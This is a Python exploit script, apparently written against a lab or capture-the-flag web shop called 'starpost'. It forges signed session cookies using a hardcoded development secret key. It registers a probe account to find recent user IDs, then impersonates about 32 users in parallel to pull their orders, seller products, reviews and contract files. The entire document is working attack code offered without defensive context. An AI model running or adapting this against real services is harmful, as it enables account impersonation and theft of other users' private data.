#!/usr/bin/env python3 from __future__ import annotations import base64 import concurrent.futures import hashlib import hmac import json import secrets import sys import time from urllib.error import HTTPError, URLError from urllib.parse import quote, urlsplit, urlunsplit from urllib.request import HTTPRedirectHandler, Request, build_opener TARGET_SCHEME = "http" SERVICE_PORT = 8090 REQUEST_TIMEOUT = 2.0 MAX_RESPONSE = 128 * 1024 RECENT_USER_WINDOW = 32 MAX_WORKERS = 8 SESSION_SECRET = "starpost-development-session-key-change-before-production" class NoRedirects(HTTPRedirectHandler): def redirect_request(self, req, fp, code, msg, headers, newurl): return None def build_base_url(target: str) -> str: raw = target.strip() if not raw: raise ValueError("empty target") if "://" not in raw: authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw raw = f"{TARGET_SCHEME}://{authority}" parsed = urlsplit(raw) if parsed.scheme not in {"http", "https"} or not parsed.hostname: raise ValueError("expected an HTTP target") if parsed.username or parsed.password or parsed.path not in {"", "/"}: raise ValueError("target must not include credentials or a path") if parsed.query or parsed.fragment: raise ValueError("target must not include query or fragment") port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT) host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")) def b64(data: bytes) -> bytes: return base64.urlsafe_b64encode(data).rstrip(b"=") def forge_session(user_id: int, role: str) -> str: payload = json.dumps( {"user_id": user_id, "username": "synthetic", "role": role}, separators=(",", ":"), ).encode() timestamp = int(time.time()) timestamp_bytes = timestamp.to_bytes(max(1, (timestamp.bit_length() + 7) // 8), "big") value = b64(payload) + b"." + b64(timestamp_bytes) derived = hmac.new(SESSION_SECRET.encode(), b"cookie-session", hashlib.sha1).digest() signature = hmac.new(derived, value, hashlib.sha1).digest() return (value + b"." + b64(signature)).decode() def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None): body = json.dumps(payload).encode() if payload is not None else None headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if cookie: headers["Cookie"] = f"session={cookie}" req = Request(base + path, data=body, headers=headers, method=method) opener = build_opener(NoRedirects()) try: with opener.open(req, timeout=REQUEST_TIMEOUT) as response: data = response.read(MAX_RESPONSE + 1) if len(data) > MAX_RESPONSE: raise ValueError("response too large") return response.status, data except HTTPError as exc: return exc.code, exc.read(MAX_RESPONSE) def register_probe(base: str) -> int: marker = secrets.token_hex(8) status, raw = request( base, "/api/register", method="POST", payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"}, ) if status != 201: raise ValueError(f"registration returned HTTP {status}") return int(json.loads(raw)["id"]) def collect_identity(base: str, user_id: int) -> list[bytes]: probe_cookie = forge_session(user_id, "seller") status, raw = request(base, "/api/me", cookie=probe_cookie) if status != 200: return [] try: identity = json.loads(raw) except (TypeError, ValueError): return [] if not isinstance(identity, dict) or identity.get("role") not in {"buyer", "seller"}: return [] role = identity["role"] cookie = forge_session(user_id, role) paths = ["/api/orders"] if role == "buyer" else [ "/api/seller/products", "/api/seller/reviews?limit=100", ] contract_file = identity.get("contract_file") if role == "seller" and isinstance(contract_file, str) and contract_file: paths.append("/api/contract?file=" + quote(contract_file, safe="")) output = [] for path in paths: status, data = request(base, path, cookie=cookie) if status == 200 and data: output.append(data) return output def run_exploit(target: str) -> str: base = build_base_url(target) newest = register_probe(base) user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest) chunks: list[bytes] = [] with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool: for result in pool.map(lambda uid: collect_identity(base, uid), user_ids): chunks.extend(result) print(f"checked {RECENT_USER_WINDOW} recent identities", file=sys.stderr) return b"\n".join(chunks).decode("utf-8", errors="replace") def main() -> int: if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr) return 2 try: output = run_exploit(sys.argv[1]) except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc: print(f"request failed: {exc}", file=sys.stderr) return 1 print(output, flush=True) return 0 if __name__ == "__main__": raise SystemExit(main())